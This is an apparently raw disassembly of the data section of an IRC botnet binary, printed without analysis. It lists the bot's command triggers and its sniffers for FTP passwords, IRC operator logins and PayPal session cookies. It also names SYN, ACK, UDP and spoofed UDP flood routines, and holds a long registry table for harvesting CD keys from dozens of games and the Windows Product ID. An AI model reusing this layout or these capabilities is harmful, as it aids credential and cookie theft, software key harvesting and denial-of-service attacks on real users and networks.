align 10h dd 4 dup(0) a@auth db ':@auth',0 align 4 dd 4 dup(0) aAuth_1 db ':$auth',0 align 10h dd 4 dup(0) aAuth_2 db ':%auth',0 align 4 dd 4 dup(0) aAuth_3 db ':^auth',0 align 10h dd 4 dup(0) aAuth_4 db ':&auth',0 align 4 dd 4 dup(0) aAuth_5 db ':*auth',0 align 10h dd 4 dup(0) aAuth_6 db ':-auth',0 align 4 dd 4 dup(0) aAuth_7 db ':+auth',0 align 10h dd 4 dup(0) aAuth_8 db ':/auth',0 align 4 dd 4 dup(0) aAuth_9 db ':\auth',0 align 10h dd 4 dup(0) aAuth_10 db ':=auth',0 align 4 dd 4 dup(0) a?auth db ':?auth',0 align 10h dd 4 dup(0) aAuth_11 db ':',27h,'auth',0 align 4 dd 4 dup(0) aAuth_12 db ':`auth',0 align 10h dd 4 dup(0) aAuth_13 db ':~auth',0 align 4 dd 4 dup(0) aAuth_14 db ': auth',0 align 10h dd 4 dup(0) a_id db ':.id',0 align 4 dd 4 dup(0) aId_0 db ':,id',0 align 10h dd 4 dup(0) aId_1 db ':!id',0 align 4 dd 4 dup(0) a@id db ':@id',0 align 10h dd 4 dup(0) aId_2 db ':$id',0 align 4 dd 4 dup(0) aId_3 db ':%id',0 align 10h dd 4 dup(0) aId_4 db ':^id',0 align 4 dd 4 dup(0) aId_5 db ':&id',0 align 10h dd 4 dup(0) aId_6 db ':*id',0 align 4 dd 4 dup(0) aId_7 db ':-id',0 align 10h dd 4 dup(0) aId_8 db ':+id',0 align 4 dd 4 dup(0) aId_9 db ':/id',0 align 10h dd 4 dup(0) aId_10 db ':\id',0 align 4 dd 4 dup(0) aId_11 db ':=id',0 align 10h dd 4 dup(0) a?id db ':?id',0 align 4 dd 4 dup(0) aId_12 db ':',27h,'id',0 align 10h dd 4 dup(0) aId_13 db ':`id',0 align 4 dd 4 dup(0) aId_14 db ':~id',0 align 10h dd 4 dup(0) aId_15 db ': id',0 align 4 dd 4 dup(0) a_hashin_0 db ':.hashin',0 align 10h aHashin_0 db ':!hashin',0 align 4 dd 3 dup(0) aHashin_1 db ':$hashin',0 align 10h aHashin_2 db ':%hashin',0 align 4 dd 3 dup(0) a_secure db ':.secure',0 align 10h aSecure_2 db ':!secure',0 align 4 dd 3 dup(0) dd 6C2E3Ah, 5 dup(0) dd 6C213Ah, 5 dup(0) dd 6C243Ah, 5 dup(0) dd 6C253Ah, 5 dup(0) dd 782E3Ah, 5 dup(0) dd 78213Ah, 5 dup(0) dd 78243Ah, 5 dup(0) dd 78253Ah, 5 dup(0) a_syn db ':.syn',0 align 10h dd 4 dup(0) aSyn_2 db ':!syn',0 align 4 dd 4 dup(0) aSyn_3 db ':$syn',0 align 10h dd 4 dup(0) aSyn_4 db ':%syn',0 align 4 dd 4 dup(0) aCdkey db ' CDKey ',0 dd 4 dup(0) aJoin_2 db 'JOIN #',0 align 4 dd 3 dup(0) dd 1, 4B43494Eh, 20h, 3 dup(0) dd 1, 5245504Fh, 20h, 3 dup(0) dd 1, 7265706Fh, 20h, 3 dup(0) dd 1, 20776F6Eh, 49206E61h, 4F204352h, 61726570h, 726F74h dd 1, 52455355h, 20h, 3 dup(0) dd 2, 53534150h, 20h, 3 dup(0) dd 2, 70796170h, 6C61h, 3 dup(0) dd 3, 50594150h, 4C41h, 3 dup(0) dd 3, 70796170h, 632E6C61h, 6D6Fh, 2 dup(0) dd 3, 50594150h, 432E4C41h, 4D4Fh, 2 dup(0) dd 3, 2D746553h, 6B6F6F43h, 3A6569h, 2 dup(0) dd 3, 6 dup(0) dword_44C7D8 dd 544F42h ; DATA XREF: .data:off_44BF70o dword_44C7DC dd 435249h ; DATA XREF: .data:0044BF74o dword_44C7E0 dd 505446h ; DATA XREF: .data:0044BF78o aHttp_0 db 'HTTP',0 ; DATA XREF: .data:0044BF7Co align 4 ; char asc_44C7EC[] asc_44C7EC db '-' ; DATA XREF: sub_412A56+85o db 3, 34h, 2 dd 696E7370h, 3026666h aSocketFailedRe db '- socket() failed, returned %d',0 align 4 ; char asc_44C818[] asc_44C818 db '-' ; DATA XREF: sub_412A56+103o db 3, 34h, 2 dd 696E7370h, 3026666h aBindFailedRetu db '- bind() failed, returned %d',0 align 4 ; char asc_44C844[] asc_44C844 db '-' ; DATA XREF: sub_412A56+186o db 3, 34h, 2 dd 696E7370h, 3026666h aWsaioctlFailed db '- WSAIoctl() failed, returned %d',0 align 4 ; char asc_44C874[] asc_44C874 db '-' ; DATA XREF: sub_412A56+317o db 3, 34h, 2 dd 696E7370h, 3026666h aRecvFailedRetu db '- recv() failed, returned %d',0 align 10h ; char aPsniff_0[] aPsniff_0 db '[PSNIFF]',0 ; DATA XREF: sub_412A56+235o align 4 ; char asc_44C8AC[] asc_44C8AC db '-' ; DATA XREF: sub_412A56+24Co db 3, 34h, 2 dd 696E7370h, 3026666h, 2Dh ; char asc_44C8BC[] asc_44C8BC db '-' ; DATA XREF: sub_412A56+2C6o db 3, 34h, 2 dd 696E7370h, 3026666h aSuspiciousSPac db '- suspicious %s packet from: %s:%d - %s',0 ; char aBotSniff[] aBotSniff db 'Bot sniff',0 ; DATA XREF: sub_412DE1+5o align 4 ; char aPsniff_1[] aPsniff_1 db '[PSNIFF]:',0 ; DATA XREF: sub_412DE1+2Bo align 4 ; char aPsniff_2[] aPsniff_2 db 'PSNIFF//',0 ; DATA XREF: sub_412DE1+3Co align 4 ; char aJoin_1[] aJoin_1 db 'JOIN #',0 ; DATA XREF: sub_412DE1+4Do align 4 ; char a302[] a302 db '302 ',0 ; DATA XREF: sub_412DE1:loc_412E43o align 4 ; char a366[] a366 db '366 ',0 ; DATA XREF: sub_412DE1+73o align 4 ; char a_login_0[] a_login_0 db ':.login',0 ; DATA XREF: sub_412DE1+84o ; char aLogin_0[] aLogin_0 db ':!login',0 ; DATA XREF: sub_412DE1+95o ; char aLogin_1[] aLogin_1 db ':!Login',0 ; DATA XREF: sub_412DE1+A6o ; char a_login_1[] a_login_1 db ':.Login',0 ; DATA XREF: sub_412DE1+B7o ; char a_ident[] a_ident db ':.ident',0 ; DATA XREF: sub_412DE1+C8o ; char aIdent_0[] aIdent_0 db ':!ident',0 ; DATA XREF: sub_412DE1+D9o ; char a_hashin[] a_hashin db ':.hashin',0 ; DATA XREF: sub_412DE1+EEo align 4 ; char aHashin[] aHashin db ':!hashin',0 ; DATA XREF: sub_412DE1+103o align 4 ; char aIrcSniff[] aIrcSniff db 'IRC sniff',0 ; DATA XREF: sub_412EF8+5o align 10h ; char aOper[] aOper db 'OPER ',0 ; DATA XREF: sub_412EF8+2Bo align 4 ; char aNick_2[] aNick_2 db 'NICK ',0 ; DATA XREF: sub_412EF8:loc_412F38o align 10h ; char aOper_0[] aOper_0 db 'oper ',0 ; DATA XREF: sub_412EF8+51o align 4 ; char aYouAreNowAnIrc[] aYouAreNowAnIrc db 'You are now an IRC Operator',0 ; DATA XREF: sub_412EF8+62o ; char aFtpSniff[] aFtpSniff db 'FTP sniff',0 ; DATA XREF: sub_412F6E+5o align 10h ; char aNick_3[] aNick_3 db 'NICK ',0 ; DATA XREF: sub_412F6E+2Bo align 4 ; char a220[] a220 db '220 ',0 ; DATA XREF: sub_412F6E+3Co align 10h ; char a230[] a230 db '230 ',0 ; DATA XREF: sub_412F6E:loc_412FBFo align 4 ; char aUser_2[] aUser_2 db 'USER ',0 ; DATA XREF: sub_412F6E+62o align 10h ; char aPass_0[] aPass_0 db 'PASS ',0 ; DATA XREF: sub_412F6E+73o align 4 ; char aHttpSniff[] aHttpSniff db 'HTTP sniff',0 ; DATA XREF: sub_412FF5+5o align 4 ; char aPaypal[] aPaypal db 'paypal',0 ; DATA XREF: sub_412FF5+2Bo align 4 ; char aPaypal_0[] aPaypal_0 db 'PAYPAL',0 ; DATA XREF: sub_412FF5:loc_413035o align 4 ; char aPaypal_com[] aPaypal_com db 'PAYPAL.COM',0 ; DATA XREF: sub_412FF5+51o align 10h ; char aPaypal_com_0[] aPaypal_com_0 db 'paypal.com',0 ; DATA XREF: sub_412FF5+62o align 4 ; char aSetCookie[] aSetCookie db 'Set-Cookie:',0 ; DATA XREF: sub_412FF5+73o ; char aVulnSniff[] aVulnSniff db 'VULN sniff',0 ; DATA XREF: sub_41307C+5o align 4 ; char aOpenssl0_9_6[] aOpenssl0_9_6 db 'OpenSSL/0.9.6',0 ; DATA XREF: sub_41307C+2Bo align 4 ; char aServUFtpServer[] aServUFtpServer db 'Serv-U FTP Server',0 ; DATA XREF: sub_41307C:loc_4130BCo align 4 ; char aOpenssh_2[] aOpenssh_2 db 'OpenSSH_2',0 ; DATA XREF: sub_41307C+51o align 4 ; char asc_44CA64[] asc_44CA64 db '-' ; DATA XREF: sub_4130E1+C5o db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aBindFailedRe_0 db '- bind() failed, returned %d',0 align 10h ; char asc_44CA90[] asc_44CA90 db '-' ; DATA XREF: sub_4130E1+14Bo db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aWsaioctlFail_0 db '- WSAIoctl() failed, returned %d',0 align 10h ; char aS_34[] aS_34 db '%s',0 ; DATA XREF: sub_4130E1+228o align 4 ; char aS_35[] aS_35 db '%s',0 ; DATA XREF: sub_4130E1+250o align 4 unk_44CAC8 db 2Dh ; - ; DATA XREF: sub_4130E1+2E2o db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aBotSniffSDToSD db '- Bot sniff "%s:%d" to "%s:%d": - "%s"',0 unk_44CAFC db 2Dh ; - ; DATA XREF: sub_4130E1+31Bo db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aIrcSniffSDToSD db '- IRC sniff "%s:%d" to "%s:%d": - "%s"',0 unk_44CB30 db 2Dh ; - ; DATA XREF: sub_4130E1+351o db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aFtpSniffSDToSD db '- FTP sniff "%s:%d" to "%s:%d": - "%s"',0 ; char asc_44CB64[] asc_44CB64 db '-' ; DATA XREF: sub_4130E1+382o db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aHttpSniffSDToS db '- HTTP sniff "%s:%d" to "%s:%d": - "%s"',0 align 4 unk_44CB9C db 2Dh ; - ; DATA XREF: sub_4130E1+3ECo db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aVulnSniffSDToS db '- VULN sniff "%s:%d" to "%s:%d": - "%s"',0 align 4 ; char asc_44CBD4[] asc_44CBD4 db '-' ; DATA XREF: sub_4134D4+5Eo db 3, 34h, 2 db 64h ; d db 64h, 6Fh, 73h db 2 db 3, 2Dh, 20h aDoneWithFloodA db 'done with flood at %iKB/sec',0 ; char aDdos_syn_0[] aDdos_syn_0 db 'ddos.syn',0 ; DATA XREF: sub_413589+F1o align 4 ; char aDdos_ack_0[] aDdos_ack_0 db 'ddos.ack',0 ; DATA XREF: sub_413589:loc_413699o align 4 ; char aDdos_random_0[] aDdos_random_0 db 'ddos.random',0 ; DATA XREF: sub_413589:loc_4136B5o ; char asc_44CC20[] asc_44CC20 db '-' ; DATA XREF: sub_413589+302o db 3, 34h, 2 dd 736F6464h, 202D0302h, 646E6573h, 72726520h, 203A726Fh dd 6425h ; char asc_44CC3C[] asc_44CC3C db '-' ; DATA XREF: sub_41391E+49o db 3, 34h, 2 db 69h ; i db 63h, 6Dh, 70h db 2 db 3, 2Dh, 20h aSocketFailed_0 db 'socket() failed, returned %d',0 align 4 ; char asc_44CC68[] asc_44CC68 db '-' ; DATA XREF: sub_41391E+C2o db 3, 34h, 2 db 69h ; i db 63h, 6Dh, 70h db 2 db 3, 2Dh, 20h aSetsockoptFail db 'setsockopt() failed, returned %d',0 align 4 ; char asc_44CC98[] asc_44CC98 db '-' ; DATA XREF: sub_41391E+12Ao db 3, 34h, 2 db 69h ; i db 63h, 6Dh, 70h db 2 db 3, 2Dh, 20h aInvalidTargetI db 'invalid target ip',0 align 4 ; char asc_44CCB8[] asc_44CCB8 db '-' ; DATA XREF: sub_41391E+307o db 3, 34h, 2 db 69h ; i db 63h, 6Dh, 70h db 2 db 3, 2Dh, 20h aErrorSendingPa db 'error sending packets to %s. %d packets sent, returned %d',0 align 10h ; char asc_44CD00[] asc_44CD00 db '-' ; DATA XREF: sub_41391E+397o db 3, 34h, 2 db 69h ; i db 63h, 6Dh, 70h db 2 db 3, 2Dh, 20h aDoneWithSFlood db 'done with %s flood to %s. sent %d packets @ %dKB/sec (%dMB).',0 align 4 ; char asc_44CD4C[] asc_44CD4C db '-' ; DATA XREF: sub_413D05+6Eo db 3, 34h, 2 db 70h ; p db 69h, 6Eh, 67h db 2 db 3, 2Dh, 20h aErrorSendingPi db 'error sending pings to %s',0 align 4 ; char asc_44CD74[] asc_44CD74 db '-' ; DATA XREF: sub_413D05+13Co db 3, 34h, 2 db 70h ; p db 69h, 6Eh, 67h db 2 db 3, 2Dh, 20h aFinishedSendin db 'finished sending pings to %s',0 align 10h ; char asc_44CDA0[] asc_44CDA0 db '-' ; DATA XREF: sub_413E91+8Eo db 3, 34h, 2 db 75h ; u db 64h, 70h, 2 db 3 aErrorSending_0 db '- error sending packets to %s',0 align 4 ; char asc_44CDC8[] asc_44CDC8 db '-' ; DATA XREF: sub_413E91+1C6o db 3, 34h, 2 db 75h ; u db 64h, 70h, 2 db 3 aFinishedSend_0 db '- finished sending packets to %s',0 align 4 ; char asc_44CDF4[] asc_44CDF4 db '-' ; DATA XREF: sub_4140A7+4Bo db 3, 34h, 2 dd 73796B73h, 3026E79h aDoneWithFloodI db '- Done with flood (%iKB/sec)',0 align 10h ; char asc_44CE20[] asc_44CE20 db '-' ; DATA XREF: sub_41424D+4Bo db 3, 34h, 2 db 73h ; s db 79h, 6Eh, 2 db 3 aDoneWithFloo_0 db '- Done with flood (%iKB/sec).',0 align 4 ; char asc_44CE48[] asc_44CE48 db '-' ; DATA XREF: sub_4142EC+27Do db 3, 34h, 2 db 73h ; s db 79h, 6Eh, 2 db 3 aSendErrorD_ db '- Send error: <%d>.',0 align 4 ; char asc_44CE68[] asc_44CE68 db '-' ; DATA XREF: sub_4145F8+4Fo db 3, 34h, 2 dd 67726174h, 3023361h aDoneWithFlood_ db '- Done with flood.',0 align 4 ; char asc_44CE88[] asc_44CE88 db '-' ; DATA XREF: sub_4148B6+70o db 3, 34h, 2 db 74h ; t db 63h, 70h, 2 db 3 aErrorSocketFai db '- Error: socket() failed, returned: <%d>.',0 align 4 ; char asc_44CEBC[] asc_44CEBC db '-' ; DATA XREF: sub_4148B6+EEo db 3, 34h, 2 db 74h ; t db 63h, 70h, 2 db 3 aErrorSetsockop db '- Error: setsockopt() failed, returned: <%d>.',0 align 4 ; char asc_44CEF4[] asc_44CEF4 db '-' ; DATA XREF: sub_4148B6+15Fo db 3, 34h, 2 db 74h ; t db 63h, 70h, 2 db 3 aInvalidTarge_0 db '- Invalid target IP.',0 align 4 ; char aSyn_1[] aSyn_1 db 'syn',0 ; DATA XREF: sub_4148B6+2D2o ; char aAck_0[] aAck_0 db 'ack',0 ; DATA XREF: sub_4148B6+2F2o ; char aRandom_2[] aRandom_2 db 'random',0 ; DATA XREF: sub_4148B6+312o align 4 ; char asc_44CF24[] asc_44CF24 db '-' ; DATA XREF: sub_4148B6+44Fo db 3, 34h, 2 db 74h ; t db 63h, 70h, 2 db 3 aErrorSending_1 db '- Error sending packets to IP: %s. Packets sent: %d. Returned: <%' db 'd>.',0 align 4 ; char asc_44CF74[] asc_44CF74 db '-' ; DATA XREF: sub_4148B6+4EBo db 3, 34h, 2 db 74h ; t db 63h, 70h, 2 db 3 aDoneWithSFlo_0 db '- Done with %s flood to IP: %s. Sent: %d packet(s) @ %dKB/sec (%d' db 'MB).',0 align 4 ; char asc_44CFC4[] asc_44CFC4 db '-' ; DATA XREF: sub_414E4C+66o db 3, 34h, 2 db 74h ; t db 73h, 75h, 6Eh db 61h ; a db 6Dh, 69h, 2 db 3 aDoneWithFloodD db '- Done with flood, %d packets sent.',0 align 4 ; char aD_D_D_D_1[] aD_D_D_D_1 db '%d.%d.%d.%d',0 ; DATA XREF: sub_414F04+C9o ; char asc_44D004[] asc_44D004 db '-' ; DATA XREF: sub_41514F+4Do db 3, 34h, 2 db 77h ; w db 69h, 73h, 64h db 6Fh ; o db 6Dh, 28h, 75h db 64h ; d db 70h, 29h, 2 db 3 aStartingWisdom db '- Starting Wisdom spoofed UDP flood thread.',0 align 4 ; char asc_44D044[] asc_44D044 db '-' ; DATA XREF: sub_4151C6+2Ao db 3, 34h, 2 db 77h ; w db 69h, 73h, 64h db 6Fh ; o db 6Dh, 28h, 75h db 64h ; d db 70h, 29h, 2 db 3 aErrorCallingSo db '- Error calling socket().',0 align 10h unk_44D070 db 2Dh ; - ; DATA XREF: sub_4151C6+63o db 3, 34h, 2 db 77h ; w db 69h, 73h, 64h db 6Fh ; o db 6Dh, 28h, 75h db 64h ; d db 70h, 29h, 2 db 3 aErrorCallingSe db '- Error calling setsockopt(). WSAGetLastError() returns %d.',0 align 10h ; char asc_44D0C0[] asc_44D0C0 db '-' ; DATA XREF: sub_4151C6+80o db 3, 34h, 2 db 77h ; w db 69h, 73h, 64h db 6Fh ; o db 6Dh, 28h, 75h db 64h ; d db 70h, 29h, 2 db 3 aInvalidTarge_1 db '- Invalid target IP. WSAGetLastError() returns %d.',0 ; char asc_44D104[] asc_44D104 db '-' ; DATA XREF: sub_4151C6+CCo db 3, 34h, 2 db 77h ; w db 69h, 73h, 64h db 6Fh ; o db 6Dh, 28h, 75h db 64h ; d db 70h, 29h, 2 db 3 aSendingPackets db '- Sending packets to %s...',0 ; char aD_D_D_D_2[] aD_D_D_D_2 db '%d.%d.%d.%d',0 ; DATA XREF: sub_4151C6+180o unk_44D13C db 2Dh ; - ; DATA XREF: sub_4151C6+345o db 3, 34h, 2 db 77h ; w db 69h, 73h, 64h db 6Fh ; o db 6Dh, 28h, 75h db 64h ; d db 70h, 29h, 2 db 3 aErrorSending_2 db '- Error sending packets to %s. eax=SOCKET_ERROR, WSAGetLastError(' db ')=%d. sizeof(buffer) = %d. Packets sent sucessfully = %d.',0 ; char asc_44D1C8[] asc_44D1C8 db '-' ; DATA XREF: sub_4151C6+2F3o db 3, 34h, 2 db 77h ; w db 69h, 73h, 64h db 6Fh ; o db 6Dh, 28h, 75h db 64h ; d db 70h, 29h, 2 db 3 aFinishedSend_1 db '- Finished sending packets to %s. Sent %d packet(s). ~%dMB of dat' db 'a sent (~%dK/s).',0 align 4 ; char asc_44D22C[] asc_44D22C db '-' ; DATA XREF: sub_415512+60o db 3, 34h, 2 db 77h ; w db 6Fh, 6Eh, 6Bh db 2 db 3, 2Dh, 20h aDoneWithFloodP db 'Done with flood, ports hit: %s',0 align 4 ; char asc_44D258[] asc_44D258 db ' ',0 ; DATA XREF: sub_4156AF+1C5o align 4 ; char aSD[] aSD db '%s%d ',0 ; DATA XREF: sub_4156AF+207o align 4 dword_44D264 dd 234032Dh, 61696C61h, 696C2073h, 3027473h, 2Dh ; DATA XREF: sub_415BC7+10o ; char aD_[] aD_ db '%d. ' ; DATA XREF: sub_415BC7+35o dd 73253403h, 203D2003h, 73253703h, 3 ; char a_2d_2d4d_2d_2d[] a_2d_2d4d_2d_2d db '[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s',0 ; DATA XREF: sub_415C3F+60o align 10h dword_44D2B0 dd 234032Dh, 2676F6Ch, 2D03h ; DATA XREF: .text:00415CFBo dword_44D2BC dd 234032Dh, 2676F6Ch, 63202D03h, 7261656Ch, 6465h ; DATA XREF: sub_415D7C+20o dword_44D2D0 dd 234032Dh, 3676F6Ch, 43202D02h, 7261656Ch, 2E6465h ; DATA XREF: sub_415D7C:loc_415DB1o dword_44D2E4 dd 234032Dh, 2676F6Ch, 6C202D03h, 20747369h, 72617473h ; DATA XREF: sub_415DEF+3Fo dd 676E6974h, 0 ; char asc_44D300[] asc_44D300 db '-' ; DATA XREF: sub_415DEF+DCo db 3, 34h, 2 dd 2676F6Ch, 6C202D03h, 20747369h, 706D6F63h, 6574656Ch dd 0 aDisplay db 'DISPLAY',0 ; DATA XREF: sub_415F1E+11o aWindow db 'Window',0 ; DATA XREF: sub_416159+23o align 4 aWindow_0 db 'Window',0 ; DATA XREF: sub_416352+26o align 8 dd 80000001h off_44D33C dd offset aSoftwareValveC ; DATA XREF: sub_416591+Cr ; sub_416591+21o ; "Software\\Valve\\CounterStrike\\Settings" dd offset aCdkey_0 ; "CDKey" dd offset aCounterStrikeR ; "Counter-Strike (Retail)" dword_44D348 dd 2 dup(0) ; DATA XREF: sub_416591+26o dd 80000001h dd offset aSoftwareEugenS ; "Software\\Eugen Systems\\The Gladiators" dd offset aRegnumber ; "RegNumber" dd offset aTheGladiators ; "The Gladiators" dd 2 dup(0) dd 80000001h dd offset aSoftwareValveG ; "Software\\Valve\\Gunman\\Settings" dd offset aKey_0 ; "Key" dd offset aGunmanChronicl ; "Gunman Chronicles" align 10h dd 80000001h dd offset aSoftwareValveH ; "Software\\Valve\\Half-Life\\Settings" dd offset aKey_1 ; "Key" dd offset aHalfLife ; "Half-Life" dd 2 dup(0) dd 80000001h dd offset aSoftwareJowood ; "Software\\JoWooD\\InstalledGames\\IG2" dd offset aPrvkey ; "prvkey" dd offset aIndustryGiant2 ; "Industry Giant 2" align 10h dd 80000001h dd offset aSoftware3d0Sta ; "Software\\3d0\\Status" dd offset aCustomernumber ; "CustomerNumber" dd offset aLegendsOfMight ; "Legends of Might and Magic" dd 2 dup(0) dd 80000001h dd offset aSoftwareSilver ; "Software\\Silver Style Entertainment\\Sol"... dd offset aCdkey_1 ; "CDKey" dd offset aSoldiersOfAnar ; "Soldiers Of Anarchy" align 10h dd 80000002h dd offset aSoftwareMicr_2 ; "Software\\Microsoft\\Windows\\CurrentVersi"... dd offset aProductid ; "ProductId" dd offset aMicrosoftWindo ; "Microsoft Windows Product ID" dd 2 dup(0) dd 80000002h dd offset aSoftwareUnreal ; "Software\\Unreal Technology\\Installed Ap"... dd offset aCdkey_2 ; "CDKey" dd offset aUnrealTourname ; "Unreal Tournament 2003" align 10h dd 80000002h dd offset aSoftwareUnre_0 ; "Software\\Unreal Technology\\Installed Ap"... dd offset aCdkey_3 ; "CDKey" dd offset aUnrealTourna_0 ; "Unreal Tournament 2004" dd 2 dup(0) dd 80000002h dd offset aSoftwareIgi2Re ; "Software\\IGI 2 Retail" dd offset aCdkey_4 ; "CDKey" dd offset aIgi2CovertStri ; "IGI 2: Covert Strike" align 10h dd 80000002h dd offset aSoftwareElectr ; "Software\\Electronic Arts\\EA Distributio"... dd offset dword_4EAD78 dd offset aFreedomForce ; "Freedom Force" dd 2 dup(0) dd 80000002h dd offset aSoftwareElec_0 ; "Software\\Electronic Arts\\EA GAMES\\Battl"... dd offset dword_4EAD7C dd offset aBattlefield194 ; "Battlefield 1942" align 10h dd 80000002h dd offset aSoftwareElec_1 ; "Software\\Electronic Arts\\EA GAMES\\Battl"... dd offset dword_4EAD80 dd offset aBattlefield1_0 ; "Battlefield 1942 (Road To Rome)" dd 2 dup(0) dd 80000002h dd offset aSoftwareElec_2 ; "Software\\Electronic Arts\\EA GAMES\\Battl"... dd offset dword_4EAD84 dd offset aBattlefield1_1 ; "Battlefield 1942 (Secret Weapons of WWI"... align 10h dd 80000002h dd offset aSoftwareElec_3 ; "Software\\Electronic Arts\\EA GAMES\\Battl"... dd offset dword_4EAD88 dd offset aBattlefieldVie ; "Battlefield Vietnam" dd 2 dup(0) dd 80000002h dd offset aSoftwareElec_4 ; "Software\\Electronic Arts\\EA GAMES\\Black"... dd offset dword_4EAD8C dd offset aBlackAndWhite ; "Black and White" align 10h dd 80000002h dd offset aSoftwareElec_5 ; "Software\\Electronic Arts\\EA GAMES\\Comma"... dd offset dword_4EAD90 dd offset aCommandAndConq ; "Command and Conquer: Generals (Zero Hou"... dd 2 dup(0) dd 80000002h dd offset aSoftwareElec_6 ; "Software\\Electronic Arts\\EA GAMES\\James"... dd offset dword_4EAD94 dd offset aJamesBond007Ni ; "James Bond 007: Nightfire" align 10h dd 80000002h dd offset aSoftwareElec_7 ; "Software\\Electronic Arts\\EA GAMES\\Gener"... dd offset dword_4EAD98 dd offset aCommandAndCo_0 ; "Command and Conquer: Generals" dd 2 dup(0) dd 80000002h dd offset aSoftwareElec_8 ; "Software\\Electronic Arts\\EA GAMES\\Globa"... dd offset dword_4EAD9C dd offset aGlobalOperatio ; "Global Operations" align 10h dd 80000002h dd offset aSoftwareElec_9 ; "Software\\Electronic Arts\\EA GAMES\\Medal"... dd offset dword_4EADA0 dd offset aMedalOfHonorAl ; "Medal of Honor: Allied Assault" dd 2 dup(0) dd 80000002h dd offset aSoftwareEle_10 ; "Software\\Electronic Arts\\EA GAMES\\Medal"... dd offset dword_4EADA4 dd offset aMedalOfHonor_0 ; "Medal of Honor: Allied Assault: Breakth"... align 10h dd 80000002h dd offset aSoftwareEle_11 ; "Software\\Electronic Arts\\EA GAMES\\Medal"... dd offset dword_4EADA8 dd offset aMedalOfHonor_1 ; "Medal of Honor: Allied Assault: Spearhe"... dd 2 dup(0) dd 80000002h dd offset aSoftwareEle_12 ; "Software\\Electronic Arts\\EA GAMES\\Need "... dd offset aErgc ; "ergc" dd offset aNeedForSpeedHo ; "Need For Speed Hot Pursuit 2" align 10h dd 80000002h dd offset aSoftwareEle_13 ; "Software\\Electronic Arts\\EA GAMES\\Need "... dd offset dword_4EADAC dd offset aNeedForSpeedUn ; "Need For Speed: Underground" dd 2 dup(0) dd 80000002h dd offset aSoftwareEle_14 ; "Software\\Electronic Arts\\EA GAMES\\Shogu"... dd offset dword_4EADB0 dd offset aShogunTotalWar ; "Shogun: Total War: Warlord Edition" align 10h dd 80000002h dd offset aSoftwareEle_15 ; "Software\\Electronic Arts\\EA Sports\\FIFA"... dd offset dword_4EADB4 dd offset aFifa2002 ; "FIFA 2002" dd 2 dup(0) dd 80000002h dd offset aSoftwareEle_16 ; "Software\\Electronic Arts\\EA Sports\\FIFA"... dd offset dword_4EADB8 dd offset aFifa2003 ; "FIFA 2003" align 10h dd 80000002h dd offset aSoftwareEle_17 ; "Software\\Electronic Arts\\EA Sports\\NHL "... dd offset dword_4EADBC dd offset aNhl2002 ; "NHL 2002" dd 2 dup(0) dd 80000002h dd offset aSoftwareEle_18 ; "Software\\Electronic Arts\\EA Sports\\NHL "... dd offset dword_4EADC0 dd offset aNhl2003 ; "NHL 2003" align 10h dd 80000002h dd offset aSoftwareEle_19 ; "Software\\Electronic Arts\\EA Sports\\Nasc"... dd offset dword_4EADC4 dd offset aNascarRacing20 ; "Nascar Racing 2002" dd 2 dup(0) dd 80000002h dd offset aSoftwareEle_20 ; "Software\\Electronic Arts\\EA Sports\\Nasc"... dd offset dword_4EADC8 dd offset aNascarRacing_0 ; "Nascar Racing 2003" align 10h dd 80000002h dd offset aSoftwareRedSto ; "Software\\Red Storm Entertainment\\RAVENS"... dd offset aCdkey_5 ; "CDKey" dd offset aRainbowSixIiiR ; "Rainbow Six III RavenShield" dd 2 dup(0) dd 80000002h dd offset aSoftwareWestwo ; "Software\\Westwood\\Tiberian Sun" dd offset aSerial ; "Serial" dd offset aCommandAndCo_1 ; "Command and Conquer: Tiberian Sun" align 10h dd 80000002h dd offset aSoftwareWest_0 ; "Software\\Westwood\\Red Alert" dd offset aSerial_0 ; "Serial" dd offset aCommandAndCo_2 ; "Command and Conquer: Red Alert" dd 2 dup(0) dd 80000002h dd offset aSoftwareWest_1 ; "Software\\Westwood\\Red Alert 2" dd offset aSerial_1 ; "Serial" dd offset aCommandAndCo_3 ; "Command and Conquer: Red Alert 2" align 10h dd 80000002h dd offset aSoftwareWest_2 ; "Software\\Westwood\\NOX" dd offset aSerial_2 ; "Serial" dd offset aNox ; "NOX" dd 2 dup(0) dd 80000002h dd offset aSoftwareTechla ; "Software\\Techland\\Chrome" dd offset aSerialnumber ; "SerialNumber" dd offset aChrome ; "Chrome" align 10h dd 80000002h dd offset aSoftwareIllusi ; "Software\\Illusion Softworks\\Hidden & Da"... dd offset aKey_2 ; "key" dd offset aHiddenDangerou ; "Hidden & Dangerous 2" dd 2 dup(0) dd 80000002h dd offset aSoftwareActivi ; "Software\\Activision\\Soldier of Fortune "... dd offset aInstallpath ; "InstallPath" dd offset aSoldierOfFortu ; "Soldier of Fortune II - Double Helix" dd offset aBaseMpSof2key ; "base\\mp\\sof2key" dd offset aMtkwftmkemfew3 ; "mtkwftmkemfew3p3b7" dd 80000002h dd offset aSoftwareBiowar ; "Software\\BioWare\\NWN\\Neverwinter" dd offset aLocation ; "Location" dd offset aNeverwinterNig ; "Neverwinter Nights" dd offset aNwncdkey_ini ; "nwncdkey.ini" dd offset aKey1 ; "Key1=" dd 80000002h dd offset aSoftwareBiow_0 ; "Software\\BioWare\\NWN\\Neverwinter" dd offset aLocation_0 ; "Location" dd offset aNeverwinterN_0 ; "Neverwinter Nights (Shadows of Undrenti"... dd offset aNwncdkey_ini_0 ; "nwncdkey.ini" dd offset aKey2 ; "Key2=" dd 80000002h dd offset aSoftwareBiow_1 ; "Software\\BioWare\\NWN\\Neverwinter" dd offset aLocation_1 ; "Location" dd offset aNeverwinterN_1 ; "Neverwinter Nights (Hordes of the Under"... dd offset aNwncdkey_ini_1 ; "nwncdkey.ini" dd offset aKey3 ; "Key3=" dd 6 dup(0) aSoftwareValveC db 'Software\Valve\CounterStrike\Settings',0 